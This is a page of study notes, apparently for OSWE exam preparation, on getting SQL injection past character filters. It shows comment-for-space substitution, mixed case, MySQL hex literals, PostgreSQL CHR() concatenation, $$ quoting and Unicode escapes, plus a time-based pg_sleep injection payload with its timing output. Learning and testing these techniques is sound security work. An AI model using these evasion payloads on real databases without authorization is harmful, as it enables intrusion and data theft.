AWAE - OSWE Preparation / Resources
  • TL;DR
  • General
    • Resources
      • BurpSuite
      • WhiteBox
    • POCs
      • Deserialization
        • PHP
        • Java
          • Ysoserial
      • SQL Injection
      • Type Juggling
      • CSRF
  • By Vulnerability
    • SQL Injection
      • Summary
      • Types
      • Injection by clause
      • Bypassing Character Restrictions
      • By Language
        • JAVA
          • Regex
          • Summary
      • Regex
      • Resources
    • Deserialization
      • By Language
        • PHP
          • Regex
          • Summary
          • Practice
        • JAVA
          • Regex
          • Summary
          • Practice
          • Resources
        • .NET
          • Regex
          • Summary
          • Resources
      • Resources
    • XSS
    • XXE
      • By Language
        • PHP
          • Practice
          • Resources
        • Java
          • Vulnerable Libraries' Implementation
      • Resources
    • SSTI
      • Summary
      • Practice
      • Resources
    • File Upload Restrictions Bypass
      • Tricks
      • File Extension Filters Bypass List
      • Resources
  • REGEX
  • By Language
    • PHP
      • Regex
      • Type Juggling
        • Summary
        • Practice
    • Java
      • Decompiling
      • Compiling & Running
    • NodeJS
      • Practice
  • Random
  • Other Repositories
Powered by GitBook
On this page
  • General
  • Space -> Comment
  • Upper and Lower case
  • MySQL
  • Hexadecimal
  • PostgreSQL
  • ASCII concatenation
  • Single Quote Bypass using $$
  • Unicode
  • More information

Was this helpful?

  1. By Vulnerability
  2. SQL Injection

Bypassing Character Restrictions

General

Space -> Comment

SELECT id, user, password FROM users WHERE id = '1';
SELECT/**/id,/**/user,/**/password/**/FROM/**/users/**/WHERE/**/id/**/=/**/'1';

Upper and Lower case

SELECT id, user, password FROM users WHERE id = '1';
SeLeCT id, user, password frOM users WHeRe id = '1';

MySQL

Hexadecimal

SELECT 0x6a6f726765637466 #SELECT 'jorgectf'

PostgreSQL

ASCII concatenation

print('||'.join("CHR("+str(ord(i))+")" for i in "jorgectf"))
SELECT CHR(106)||CHR(111)||CHR(114)||CHR(103)||CHR(101)||CHR(99)||CHR(116)||CHR(102) #SELECT jorgectf

Single Quote Bypass using $$

$$jorgectf$$ #'jorgectf'
> AND $$jorgectf$$ = 'jorgectf' AND (SELECT 1 FROM pg_sleep(10))=1
0:00:10.491213

Unicode

SELECT U&"\006a\006f\0072\0067\0065\0063\0074\0066" #SELECT jorgectf
SELECT U&'\006a\006f\0072\0067\0065\0063\0074\0066' #SELECT 'jorgectf'
U&'\006a\006f\0072\0067\0065\0063\0074\0066'() #jorgectf()

More information

PreviousInjection by clauseNextBy Language

Last updated 4 years ago

Was this helpful?

SQLMap Tamper Scripts (SQL Injection and WAF bypass) TipsMedium
Logo